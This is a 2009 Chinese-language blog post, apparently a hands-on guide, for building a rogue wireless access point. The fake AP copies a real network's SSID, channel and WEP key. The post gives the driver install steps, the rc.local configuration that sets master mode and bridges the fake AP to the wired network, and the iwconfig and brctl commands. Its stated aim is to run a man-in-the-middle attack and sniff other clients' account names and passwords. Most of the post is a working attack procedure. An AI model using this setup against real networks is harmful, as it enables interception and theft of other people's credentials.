分类: LINUX
2009-08-09 16:56:49
[操作文]非法AP搭建全过程(level I)
writer: demonalex
email: demonalex[at]gzpia.com && demonalex[at]dark2s.org
实验目的:
利用一台PC机搭建一个与真实AP的“三元组”(SSID:gzpia3、频道:8、WEP KEY:1112223334)完全相
同的“AP”。并在该AP中安装嗅探器与应用层解码软件,实现802.11通信欺骗与中间人攻击,从而获取到
其他无线客户端的通信数据(例如用户帐号、密码等)。
搭建所使用的材料:
硬件环境:一台奔腾II级别的PC、一张8139有线网卡、一张TP-LINK无线网卡(型号:TL-WN550G)
软件环境:安装RedHat Fedora 2操作系统
*其实基本上所有的Atheros芯片无线网卡都可以使用Madwifi驱动,关于使用Atheros芯片的无线网卡型号
查询可以查阅http://customerproducts.atheros.com/customerproducts/。
搭建过程:
将有线与无线网卡插入PC机-》安装Fedora2操作系统-》安装Madwifi无线网卡驱动-》禁用iptables/netf
ilter服务-》安装bridge-utils程序包-》配置预处理网络接口-》重启机器并进行简单配置-》配置ether
eal进行嗅探
关于“将有线与无线网卡插入PC机”与“安装Fedora2操作系统”这两个步骤我就不多说了,但在“安装F
edora2操作系统”的步骤中必须确认系统有安装gcc编译器工具包与ethereal工具包。
1)安装Madwifi无线网卡驱动
安装Madwifi之前必须安装sharutils工具包。在Fedora2的安装光碟中找到sharutils-4.2.1-18.i386.rpm
包,然后:
#rpm -ivh sharutils-4.2.1-18.i386.rpm
2)以源码方式安装madwifi
#cd /usr/local/sbin
#wget
最新的madwifi-ng(release版)安装起来出现问题,最后决定用后一点的版本...
#tar -zxvf madwifi-ng-r1531-20060427.tar.gz
#cd madwifi-ng-r1531-20060427
***************************************
若原来已经装过madwifi的话需要完成下面的操作:
#cd scripts
#./madwifi-unload.bash
#./find-madwifi-modules.sh /lib/modules
若没有装过madwifi则可以跳过这部分操作...
***************************************
#make && make install
3)禁用iptables/netfilter服务
#chkconfig --level 35 iptables off
4)安装bridge-utils程序包
在Fedora2的安装光碟中找到其对应版本的RPM然后安装:
#rpm -ivh bridge-utils-0.9.6-3.1.i386.rpm
5)配置预处理网络接口
通过预处理重新配置各接口信息:
#vi /etc/rc.d/rc.local
修改原有关于eth0、ath0部分的配置为:
ifconfig eth0 down #首先停用有线网卡接口
modprobe ath_pci autocreate=ap #加载ath_pci模块,并自动建立为AP模式
ifconfig ath0 down #停用无线网卡接口
ifconfig ath0 0.0.0.0 #设置无线网卡接口的IP地址为0.0.0.0(强行使其进入‘混杂’模式)
ifconfig ath0 up #启用无线网卡接口
iwconfig ath0 essid gzpia3 key 1112-2233-34 #设置AP的三元组(SSID:gzpia3;频道:1;WEP KEY:1112223334)
iwconfig ath0 mode Master #使该网卡运行于AP模式
ifconfig eth0 0.0.0.0 #设置有线网卡接口的IP地址为0.0.0.0(强行使其进入‘混杂’模式)
ifconfig eth0 up #启用有线网卡接口
brctl addbr br0 #通过bridge-utils包所附带的brctl命令建立一个BVI(虚拟桥接口)
brctl addif br0 eth0 #将有线网卡接口eth0添加入虚拟桥接口br0
brctl addif br0 ath0 #将无线网卡接口ath0添加入虚拟桥接口br0
ifconfig br0 0.0.0.0 #设置虚拟桥接口的IP地址为0.0.0.0
ifconfig br0 up #启用虚拟桥接口
6)重启机器并进行简单配置
重启机器的目的是为了使“禁用iptables/netfilter服务”与“配置预处理网络接口”步骤的操作能实施
。另外,由于上面实施的“配置预处理网络接口”步骤中,我们未能将该“AP”的频道参数设置为与实际
AP相同的值(频道=8),所以我们必须在系统重启后重新登陆系统,输入命令:
#iwconfig ath0 freq 2.447G
至于最后一步的“配置ethereal进行嗅探”的操作相信大伙比我还清楚了吧?!
最后说说实验中的一些难点:
1、虚拟桥本身无法与iptables/netfilter共存,需要安装相应的补丁,因此在本实验中我把iptables/ne
tfilter停了。
2、我们在本实验的接口配置部分是有顺序的:必须先配置好有线接口与无线接口,再配置BVI虚拟桥接口
;且配置无线接口时必须先通过ifconfig配置好IP地址并让其启动后,再通过iwconfig配置三元组与运行
模式。
3、在通过iwconfig设置无线三元组时为什么我不用channel或freq参数设置频道呢?因为经过本人实验所
得:在/etc/rc.d/rc.local中使用channel/freq参数设置频道未能成功,因此如果你要设置频道的话必须
要再登陆系统进行手动设置了,在不进行任何干预的情况下,默认频道为“1”。另外通过channel参数设
置频道并不精准,因此推崇使用freq参数。精确,而使用freq则非常精确,像本例中,若我需要将该“AP
”的频道切换为“8”的话,可以使用命令:“iwconfig ath0 freq 2.447G”,这样会比“iwconfig ath
0 channel 8”更精确。
4、brctl命令在此次实验中我们需要用到的基本操作有:
brctl show-----------查看虚拟桥接口状态(其中最主要的信息是虚拟桥接口与实际接口的对应情况)
brctl showmacs 《虚拟桥接口名》-----------查看该虚拟桥接口的MAC地址缓存
brctl addbr 《虚拟桥接口名》-----------添加虚拟桥接口
brctl delbr 《虚拟桥接口名》-----------删除虚拟桥接口
brctl addif 《虚拟桥接口名》 《实际接口名》-----------将某实际接口添加进已存在的虚拟桥接口中
brctl delif 《虚拟桥接口名》 《实际接口名》-----------将某实际接口从已存在的虚拟桥接口中剔除